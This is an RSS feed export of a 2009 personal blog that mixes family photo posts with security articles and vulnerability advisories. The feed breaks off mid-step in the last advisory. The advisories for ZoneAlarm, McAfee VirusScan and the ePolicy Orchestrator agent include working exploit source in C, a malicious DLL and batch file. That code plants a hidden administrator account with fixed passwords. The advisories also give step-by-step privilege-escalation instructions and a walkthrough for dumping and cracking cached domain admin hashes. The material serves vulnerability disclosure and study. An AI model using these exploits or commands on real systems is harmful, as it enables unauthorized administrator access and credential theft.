<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>{ Reed Arvin }</title>
	<atom:link href="http://reedarvin.thearvins.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://reedarvin.thearvins.com</link>
	<description>Diarrhea of the mouth...</description>
	<lastBuildDate>Wed, 30 Dec 2009 21:59:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Bye-bye NBTEnum, hello WinScanX!</title>
		<link>http://reedarvin.thearvins.com/articles/bye-bye-nbtenum-hello-winscanx/</link>
		<comments>http://reedarvin.thearvins.com/articles/bye-bye-nbtenum-hello-winscanx/#comments</comments>
		<pubDate>Wed, 30 Dec 2009 00:40:44 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://reedarvin.thearvins.com/?p=263</guid>
		<description><![CDATA[For all of you out there that love NBTEnum, get ready to have your heart stolen all over again. WinScanX is a state-of-the-art Windows auditing tool designed to help you get your Windows audit done quickly. It&#8217;s easy to use and no installation is required.
Download it at http://www.windowsaudit.com/
]]></description>
			<content:encoded><![CDATA[<p>For all of you out there that love NBTEnum, get ready to have your heart stolen all over again. WinScanX is a state-of-the-art Windows auditing tool designed to help you get your Windows audit done quickly. It&#8217;s easy to use and no installation is required.</p>
<p>Download it at <a href="http://www.windowsaudit.com/">http://www.windowsaudit.com/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/articles/bye-bye-nbtenum-hello-winscanx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apache lake trip, summer 2009&#8230;</title>
		<link>http://reedarvin.thearvins.com/pictures/apache-lake-trip-summer-2009/</link>
		<comments>http://reedarvin.thearvins.com/pictures/apache-lake-trip-summer-2009/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 02:22:17 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://reedarvin.thearvins.com/?p=256</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_236" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-236" title="20090626-Neely-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20090626-Neely-01-300x180.jpg" alt="Neely Rae Arvin" width="300" height="180" /></a><p class="wp-caption-text">Neely Rae Arvin</p></div>
<div id="attachment_237" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-237" title="20090626-Rylee-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20090626-Rylee-01-300x180.jpg" alt="Rylee Madison Arvin" width="300" height="180" /></a><p class="wp-caption-text">Rylee Madison Arvin</p></div>
<div id="attachment_231" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-231" title="20090627-RyleeNeely-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20090627-RyleeNeely-01-300x180.jpg" alt="Rylee &amp; Neely" width="300" height="180" /></a><p class="wp-caption-text">Rylee &amp; Neely</p></div>
<div id="attachment_238" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-238" title="20090626-TerrenceReed-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20090626-TerranceReed-01-300x180.jpg" alt="Terrence &amp; Reed" width="300" height="180" /></a><p class="wp-caption-text">Terrence &amp; Reed</p></div>
<div id="attachment_239" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-239" title="20090627-Rylee-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20090627-Rylee-01-300x180.jpg" alt="Rylee Madison Arvin" width="300" height="180" /></a><p class="wp-caption-text">Rylee Madison Arvin</p></div>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/pictures/apache-lake-trip-summer-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Austin&#8217;s 1st b-day party&#8230;</title>
		<link>http://reedarvin.thearvins.com/pictures/austins-1st-b-day-party/</link>
		<comments>http://reedarvin.thearvins.com/pictures/austins-1st-b-day-party/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 02:07:18 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://reedarvin.thearvins.com/?p=245</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_235" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-235" title="20090605-Austin-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20090605-Austin-01-300x180.jpg" alt="Austin Grey Morales" width="300" height="180" /></a><p class="wp-caption-text">Austin Grey Morales</p></div>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/pictures/austins-1st-b-day-party/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A backyard photo shoot at the Peebles&#8217; house&#8230;</title>
		<link>http://reedarvin.thearvins.com/pictures/a-backyard-photo-shoot-at-the-peebles-house/</link>
		<comments>http://reedarvin.thearvins.com/pictures/a-backyard-photo-shoot-at-the-peebles-house/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 01:35:17 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[Gallery]]></category>

		<guid isPermaLink="false">http://reedarvin.thearvins.com/?p=240</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div id="attachment_233" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-233" title="20081124-Rylee-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20081124-Rylee-01-300x180.jpg" alt="Rylee Madison Arvin" width="300" height="180" /></a><p class="wp-caption-text">Rylee Madison Arvin</p></div>
<div id="attachment_232" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-232" title="20081124-Neely-01" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20081124-Neely-01-300x180.jpg" alt="Neely Rae Arvin" width="300" height="180" /></a><p class="wp-caption-text">Neely Rae Arvin</p></div>
<div id="attachment_234" class="wp-caption alignnone" style="width: 310px"><a href="http://reedarvin.thearvins.com/pictures/"><img class="size-medium wp-image-234" title="20081124-Rylee-02" src="http://reedarvin.thearvins.com/wp-content/uploads/2009/09/20081124-Rylee-02-300x180.jpg" alt="Rylee Madison Arvin" width="300" height="180" /></a><p class="wp-caption-text">Rylee Madison Arvin</p></div>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/pictures/a-backyard-photo-shoot-at-the-peebles-house/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows privilege escalation using Program.exe.</title>
		<link>http://reedarvin.thearvins.com/articles/windows-privilege-escallation-using-program-exe/</link>
		<comments>http://reedarvin.thearvins.com/articles/windows-privilege-escallation-using-program-exe/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 05:45:04 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://reedarvin.scraprblog.com/?p=108</guid>
		<description><![CDATA[Let me first start out by saying that I love Windows. It must be the easiest operating system to learn and use. Unfortunately, it is also one of the easiest in which to find holes. One of my favorite past times is finding privilege escalation vulnerabilities in windows and windows applications. They exist everywhere. So [...]]]></description>
			<content:encoded><![CDATA[<p>Let me first start out by saying that I love Windows. It must be the easiest operating system to learn and use. Unfortunately, it is also one of the easiest in which to find holes. One of my favorite past times is finding privilege <span id="more-108"></span>escalation vulnerabilities in windows and windows applications. They exist everywhere. So I want to talk about a privilege escalation that exists in many of the Windows operating systems simply because of a misunderstanding of how Windows works.</p>
<p>First, some background information on how Windows launches applications:</p>
<p>1. Start, Run, C:\Winnt\system32\cmd.exe</p>
<p>This is pretty simple and straight forward&#8230;Windows will locate the file cmd.exe and launch it.</p>
<p>2. Start, Run, &#8220;C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe&#8221;</p>
<p>This is almost identical to the first. Windows will locate the file btwdins.exe (the default Bluetooth service executable that appears on most HP/Compaq SOHO machines) and launch it. However, note the use of the quotes in the path because of the spaces. In the old 8.3 notation this could be written as follows and the use of quotes would not be necessary.</p>
<p>C:\Progra~1\WIDCOMM\Blueto~1\bin\btwdins.exe</p>
<p>3. Start, Run, C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe</p>
<p>This may look the same as the previous example but the quotes are missing. This can be bad and I will discuss why further down but here is how Windows interprets this statement because of the spaces.</p>
<p>- Windows will try to locate and launch the file C:\Program.exe<br />
- If that file does not exist Windows will try to locate and launch the file C:\Program Files\WIDCOMM\Bluetooth.exe<br />
- If that file does not exist Windows will finally try to locate and launch the original intended file C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe</p>
<p>You might be thinking one of two things right now&#8230;wow or so what. Well let&#8217;s say you are logged into a machine as a user with only local guest privileges. You can&#8217;t do much but you want to try to interact with other process that are running with higher privileges so that you can manipulate them to elavate your privileges. So what runs with higher privileges&#8230;services. Most services in Windows run as LocalSystem which has basically god rights for the local machine.</p>
<p>Thinking back to the examples, what if I told you that Bluetooth was a service set to startup automatically with Windows and run under the context of LocalSystem. The path to the executable is C:\Program Files\WIDCOMM\Bluetooth Software\bin\btwdins.exe without the quotes. When Windows starts it will try to start the Bluetooth service automatically as LocalSystem but since there are no quotes around the path to the btwdins.exe file it will try to launch the following as LocalSystem first:</p>
<p>- C:\Program.exe<br />
- C:\Program Files\WIDCOMM\Bluetooth.exe</p>
<p>So you could hack up your own Program.exe service or Bluetooth.exe service and place it in the location where Windows will accidentally run it. The service you create could simply create a new account and add it to the local Administrators group.</p>
<p>However, you can&#8217;t do much as with your current guest privileges. The default permissions for the Program Files folder in Windows 2000 and above prevent a guest account from even entering the folder. So how are you supposed to plant your custom C:\Program Files\WIDCOMM\Bluetooth.exe file? You can&#8217;t. But what about using the root of C:\ for a custom Program.exe file? You can&#8230;in Windows 2000 and below. In Windows XP and above the default permissions of Everyone &#8211; Full Control where removed (which was a smart move by Microsoft).</p>
<p>So plant your custom C:\Program.exe file that will create a new account and add it to the local Administrators group and restart the computer. Log in as the new admin account.</p>
<p>Want the tools discussed in this article?</p>
<p>http://reedarvin.thearvins.com/tools/EnumServiceExecutablePaths.zip</p>
<p>This is a simple PERL (http://www.activeperl.com/) script that you can run to enumerate the executable paths of all services. Just run it and look through the output for paths that have spaces and do not have quotes.</p>
<p>http://reedarvin.thearvins.com/tools/Program.zip</p>
<p>This is the custom Program.exe service file that can be used to add a new user and add that user to the local Administrators group. Just copy the Program.exe file and the runme.txt file to the root of C:\. Add as many commands as you would like Program.exe to run to the runme.txt file.</p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/articles/windows-privilege-escallation-using-program-exe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Get a client workstation, own the domain.</title>
		<link>http://reedarvin.thearvins.com/articles/get-a-client-workstation-own-the-domain/</link>
		<comments>http://reedarvin.thearvins.com/articles/get-a-client-workstation-own-the-domain/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 05:43:50 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Articles]]></category>

		<guid isPermaLink="false">http://reedarvin.scraprblog.com/?p=106</guid>
		<description><![CDATA[Like the title? I thought you might. So you might be wondering what I mean by owning a domain by getting only one workstation? Is it even possible? Well, before this year it was very difficult to do. Now, it&#8217;s way too easy and I will share the reasons why.
Let&#8217;s talk about workstation security for [...]]]></description>
			<content:encoded><![CDATA[<p>Like the title? I thought you might. So you might be wondering what I mean by owning a domain by getting only one workstation? Is it even possible? Well, before this year it was very difficult to do. Now, it&#8217;s way too easy and I will share <span id="more-106"></span>the reasons why.</p>
<p>Let&#8217;s talk about workstation security for a second. I would guess that most companies don&#8217;t even worry about completely securing client workstations. In most companies that level of attention would take waaaaay too much time. Besides, compromising a workstation only gives a few key pieces of information. None of which are that useful for compromising a domain. Check it out:</p>
<p>1. You can crack any local account passwords on the box. Chances are slim but the password for the local adminstrator account may be the same as the password for the local administrator account on all of the other workstations. The chances are even slimmer but the password may be the same as that on servers.</p>
<p>2. You can dump the LSA secrets which reveals clear text passwords for accounts that are used to run local services on the machine. The chance that this will reveal anything on a client machine will be slim.</p>
<p>Lets be realistic though&#8230;your testing a fairly secure network here. You&#8217;ve compromised one workstation due to a default install of msde with a blank sa password. However, this is the only workstation that you&#8217;ve gotten into and you&#8217;ve already checked all the other machines in the domain. Where do you go from here?</p>
<p>Now, thanks to Arnaud Pilon, you have a chance using a new tool called CacheDump (http://www.cr0.net:8040/misc/cachedump.html). Let me give you a little background first.</p>
<p>When you log into Windows, it is kind enough to cache your password in the registry. This caching process can be disabled but by default it is enabled and for a good reason. Consider this&#8230;you have a laptop that you use at work. You log on to it using the username and password for your work domain. When you take your laptop home, even though you are not connected to the work domain you can still log into that laptop with the same username, password and domain. This is made possible by the password cache that is stored in the registry for your username. Nice functionality huh? Without it you would have to have a local user account to log in with and you would have to maintain two different passwords&#8230;one for your domain account and one for the local account. What a pain. So here is the classic case of security vs. functionality.</p>
<p>So a Windows machine will cache domain user account passwords, big deal right? This is a huge deal. Let&#8217;s say that a domain admin logs into your workstation. He/She leaves behind a cached password for a very privileged account. Even worse, let&#8217;s say you use Altiris or Microsoft SMS to remotely install and administer applications on client workstations. The whole purpose for using these products is to facilitate an application setup by giving it administrative privileges for a user who is not an administrator. So Altiris/SMS is logging into almost all of your machines using a very privileged account and the cached password hash is being left behind on every machine.</p>
<p>Now where were we&#8230;you&#8217;ve compromised one workstation and your stuck. What do you do now? You bust out CacheDump and run it as follows:</p>
<p>c:\cachedump (wow, complicated isn&#8217;t it)</p>
<p>domadmin1:0E9A658F6132E709ED673458387E6892:work:work.comp.corp<br />
entadmin1:19E8B953689EFBC3222ABC599F835856:comp:comp.corp</p>
<p>The output shows you the cached password hash for a domain admin account in your domain and an enterprise admin account in the parent domain. So you copy this information into a text file called hashs.txt and run a custom version of John and crack all the passwords as follows:</p>
<p>c:\john -format:mscash hashs.txt</p>
<p>It&#8217;s only a matter of time now.</p>
<p>The game is changing. Now your workstations are just a important as your domain controllers and you member servers.</p>
<p>Want the tools discussed in this article?</p>
<p>CacheDump v1.1, diffs for John that include the mscash format, and how to build the custom version of John can all be found here:</p>
<p>http://www.cr0.net:8040/misc/cachedump.html</p>
<p>To dump LSA secrets I prefer Cain &amp; Able which can be found here:</p>
<p>http://www.oxid.it/cain.html</p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/articles/get-a-client-workstation-own-the-domain/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite build 6.1.744.000.</title>
		<link>http://reedarvin.thearvins.com/advisories/18-ways-to-escalate-privileges-in-zone-labs-zonealarm-security-suite-build-6-1-744-000/</link>
		<comments>http://reedarvin.thearvins.com/advisories/18-ways-to-escalate-privileges-in-zone-labs-zonealarm-security-suite-build-6-1-744-000/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 05:41:53 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Advisories]]></category>

		<guid isPermaLink="false">http://reedarvin.scraprblog.com/?p=104</guid>
		<description><![CDATA[03.08.2006
Summary:
18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite build 6.1.744.000 (http://www.zonelabs.com/).
Details:
During Windows startup the TrueVector service (vsmon.exe &#8211; an integral piece of most Zone Labs products) is set to startup automatically. The TrueVector service runs under the context of the Local System account. During its startup process it attempts to load several [...]]]></description>
			<content:encoded><![CDATA[<p>03.08.2006</p>
<p>Summary:<br />
18 ways to escalate privileges in Zone Labs ZoneAlarm Security Suite build 6.1.744.000 (http://www.zonelabs.com/).</p>
<p><span id="more-104"></span>Details:<br />
During Windows startup the TrueVector service (vsmon.exe &#8211; an integral piece of most Zone Labs products) is set to startup automatically. The TrueVector service runs under the context of the Local System account. During its startup process it attempts to load several DLLs (that are listed below).</p>
<p>- VSUTIL_Loc0409_Oem8701.dll<br />
- VSUTIL_Oem8701.dll<br />
- VSUTIL_Loc0409.dll<br />
- vsmon_Loc0409_Oem8701.dll<br />
- vsmon_Oem8701.dll<br />
- vsmon_Loc0409.dll<br />
- VSRULEDB_Loc0409_Oem8701.dll<br />
- VSRULEDB_Oem8701.dll<br />
- VSRULEDB_Loc0409.dll<br />
- av_Loc0409_Oem8701.dll<br />
- av_Oem8701.dll<br />
- av_Loc0409.dll<br />
- zlquarantine_Loc0409_Oem8701.dll<br />
- zlquarantine_Oem8701.dll<br />
- zlquarantine_Loc0409.dll<br />
- zlsre_Loc0409_Oem8701.dll<br />
- zlsre_Oem8701.dll<br />
- zlsre_Loc0409.dll</p>
<p>It appears that instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling (where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process). This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Below is the output from a Filemon capture of the TrueVector service startup process (edited for brevity). Please note that I have ActiveState&#8217;s ActivePerl installed so C:\Perl\bin is included in my PATH.</p>
<pre>vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSUTIL_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\vsmon_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\VSRULEDB_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\av_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlquarantine_Loc0409.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Loc0409_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Oem8701.dll  NOT FOUND
vsmon.exe  QUERY INFORMATION  C:\Perl\bin\zlsre_Loc0409.dll  NOT FOUND</pre>
<p>Exploitation Requirements:<br />
First of all, you will need to have a directory that is writeable to a lower level user, that is included in the Windows PATH environment variable. As you saw above, I had ActiveState&#8217;s ActivePerl installed and it worked just fine.</p>
<p>Secondly, verify that the path you have chosen is definitely writeable to a lower level user. On Windows 2000 operating systems the default permissions for the root of the partition where the operating system is installed is set as Everyone/Full Control. So, by default, C:\Perl\bin is set to Everyone/Full Control. On Windows 2000 operating systems a guest account can be used during the exploitation process. On Windows XP, the C:\Perl\bin folder has special permissions set (by default) for the local Users group that allows the creation and modification of new files and folders. Perfect, that is all that is needed. On Windows XP, an account in the local Users group can be used during the exploitation process.</p>
<p>Vulnerable Versions:<br />
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly earlier versions</p>
<p>Patches/Workarounds:<br />
The vendor was notified several times but there was no response. The initial notification was sent on 12.20.05. Two follow-up notifications were sent afterward.</p>
<p>Exploits:</p>
<p>1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile your own using<br />
the source code below.</p>
<p>2. Extract the magic.dll and magic.bat files.</p>
<p>3. Rename the magic.dll file to any of the 18 different file names listed above. In<br />
this example I will use VSUTIL_Loc0409_Oem8701.dll.</p>
<p>4. Copy the VSUTIL_Loc0409_Oem8701.dll and magic.bat files to your chosen directory<br />
listed in the Windows PATH environment variable.</p>
<p>5. Restart the machine.</p>
<p>6. When the TrueVector service starts up it will create a new user account named<br />
Magic with a password of M@g1c$$ and add it to the local Administrators group.</p>
<pre>// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o

#include &lt;windows.h&gt;

VOID RunMagicBatFile( VOID );

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
{
        BOOLEAN bSuccess = TRUE;

        switch ( fdwReason )
        {
                case DLL_PROCESS_ATTACH:
                        RunMagicBatFile();

                        break;

                case DLL_THREAD_ATTACH:

                        break;

                case DLL_THREAD_DETACH:

                        break;

                case DLL_PROCESS_DETACH:

                        break;
        }

        return bSuccess;
}

VOID RunMagicBatFile()
{
        TCHAR  szWinDir[ _MAX_PATH ];
        TCHAR szCmdLine[ _MAX_PATH ];

        STARTUPINFO         si;
        PROCESS_INFORMATION pi;

        GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

        wsprintf( szCmdLine, "%s\\system32\\cmd.exe /c magic.bat", szWinDir );

        ZeroMemory( &amp;si, sizeof( si ) );

        si.cb = sizeof( si );

        ZeroMemory( &amp;pi, sizeof( pi ) );

        CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &amp;si, &amp;pi );

        CloseHandle( pi.hProcess );
        CloseHandle( pi.hThread );
}
// ===== End Magic.c ======

// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add
// ===== End Magic.bat ======</pre>
<p>Discovered by Reed Arvin reedarvin[at]gmail[dot]com<br />
(http://reedarvin.thearvins.com/)</p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/advisories/18-ways-to-escalate-privileges-in-zone-labs-zonealarm-security-suite-build-6-1-744-000/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5).</title>
		<link>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-mcafee-virusscan-enterprise-8-0i-patch-11-and-cma-3-5-patch-5/</link>
		<comments>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-mcafee-virusscan-enterprise-8-0i-patch-11-and-cma-3-5-patch-5/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 05:41:02 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Advisories]]></category>

		<guid isPermaLink="false">http://reedarvin.scraprblog.com/?p=102</guid>
		<description><![CDATA[12.22.2005
Summary:
Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5) (http://www.mcafee.com/).
Details:
By default the naPrdMgr.exe process runs under the context of the Local System account. Every so often it will run through a process where it does the following:
- Attempts to run \Program Files\Network Associates\VirusScan\EntVUtil.EXE
- Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
- Reads C:\Program [...]]]></description>
			<content:encoded><![CDATA[<p>12.22.2005</p>
<p>Summary:<br />
Privilege escalation in McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5) (http://www.mcafee.com/).</p>
<p><span id="more-102"></span>Details:<br />
By default the naPrdMgr.exe process runs under the context of the Local System account. Every so often it will run through a process where it does the following:</p>
<p>- Attempts to run \Program Files\Network Associates\VirusScan\EntVUtil.EXE<br />
- Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT<br />
- Reads C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT<br />
- Reads C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT</p>
<p>The issue occurs when the naPrdMgr.exe process attempts to run the C:\Program Files\Network Associates\VirusScan\EntVUtil.EXE file. Because of a lack of quotes the naPrdMgr.exe process first tries to run C:\Program.exe. If that is not found it tries to run C:\Program Files\Network.exe. When that is not found it finally runs the EntVUtil.EXE file that it was originally intending to run. A malicious user can create an application named Program.exe and place it on the root of the C:\ and it will be run with Local System privileges by the naPrdMgr.exe process. Source code for an example Program.exe is listed below.</p>
<p>Vulnerable Versions:<br />
McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5)</p>
<p>Patches/Workarounds:<br />
The vendor has released knowledge base article kb45256 to address the issue.</p>
<p>Solution one from the vendor:<br />
&#8220;This issue is resolved in Patch 12.&#8221;</p>
<p>Solution two from the vendor:<br />
&#8220;The VirusScan Enterprise plugin VSPLUGIN.DLL has been updated to resolve the potential exploit. The new plugin is available as a HotFix from McAfee Tier III Technical Support.&#8221;</p>
<p>Exploits:</p>
<pre>// ===== Start Program.c ======
#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;

INT main( VOID )
{
        CHAR  szWinDir[ _MAX_PATH ];
        CHAR szCmdLine[ _MAX_PATH ];

        GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

        printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" );

        wsprintf( szCmdLine, "%s\\system32\\net.exe user Program Pr0gr@m$$ /add", szWinDir );

        system( szCmdLine );

        printf( "Adding user \"Program\" to the local Administrators group...\n" );

        wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators Program /add", szWinDir );

        system( szCmdLine );

        return 0;
}
// ===== End Program.c ======</pre>
<p>Discovered by Reed Arvin reedarvin[at]gmail[dot]com<br />
(http://reedarvin.thearvins.com/)</p>
]]></content:encoded>
			<wfw:commentRss>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-mcafee-virusscan-enterprise-8-0i-patch-11-and-cma-3-5-patch-5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Privilege escalation in Network Associates ePolicy Orchestrator Agent 3.5.0 (patch 3).</title>
		<link>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-network-associates-epolicy-orchestrator-agent-3-5-0-patch-3/</link>
		<comments>http://reedarvin.thearvins.com/advisories/privilege-escalation-in-network-associates-epolicy-orchestrator-agent-3-5-0-patch-3/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 05:40:12 +0000</pubDate>
		<dc:creator>Reed Arvin</dc:creator>
				<category><![CDATA[Advisories]]></category>

		<guid isPermaLink="false">http://reedarvin.scraprblog.com/?p=100</guid>
		<description><![CDATA[08.11.2005
Summary:
Privilege escalation in Network Associates ePolicy Orchestrator Agent 3.5.0 (patch 3) (http://www.nai.com/).
Details:
The ePolicy Orchestrator Agent web server (which runs on TCP port 8081 by default and serves the McAfee Agent Activity Log) can be used to view files that exist on the same partition with LocalSystem level privileges. On a default windows installation the &#8220;C:\Documents [...]]]></description>
			<content:encoded><![CDATA[<p>08.11.2005</p>
<p>Summary:<br />
Privilege escalation in Network Associates ePolicy Orchestrator Agent 3.5.0 (patch 3) (http://www.nai.com/).</p>
<p><span id="more-100"></span>Details:<br />
The ePolicy Orchestrator Agent web server (which runs on TCP port 8081 by default and serves the McAfee Agent Activity Log) can be used to view files that exist on the same partition with LocalSystem level privileges. On a default windows installation the &#8220;C:\Documents and Settings\All Users\Application Data\Network Associates\Common Framework\Db&#8221; folder (which is created by the EPO agent and is the folder that serves as the web root for the McAfee Agent Activity Log) includes the NTFS permission Everyone/Full Control. By using the Junction tool (from SysInternals) available at http://www.sysinternals.com/utilities/junction.html one can create a subfolder in the EPO agent web root directory (as any user) that will allow any file on the same partition to be viewed with LocalSystem level privileges.</p>
<p>Vulnerable Versions:<br />
Network Associates ePolicy Orchestrator Agent 3.5.0 (patch 3)</p>
<p>Patches/Workarounds:<br />
The vendor was notified of the issue. There was no response.</p>
<p>Exploits:</p>
<p>1. Logon to a machine running the EPO agent as any user.</p>
<p>2. Using the Juction tool type the following command:</p>
<p>junction &#8220;C:\Documents and Settings\All Users\Application Data\Network<br />
Associates\Common Framework\Db\Test&#8221; C:\</p>
<p>This creates the equivalent of a virtual folder in the web server root named<br />
Test that points to C:\</p>
<p>3. Use Internet Explorer to view a restricted file such as:</p>
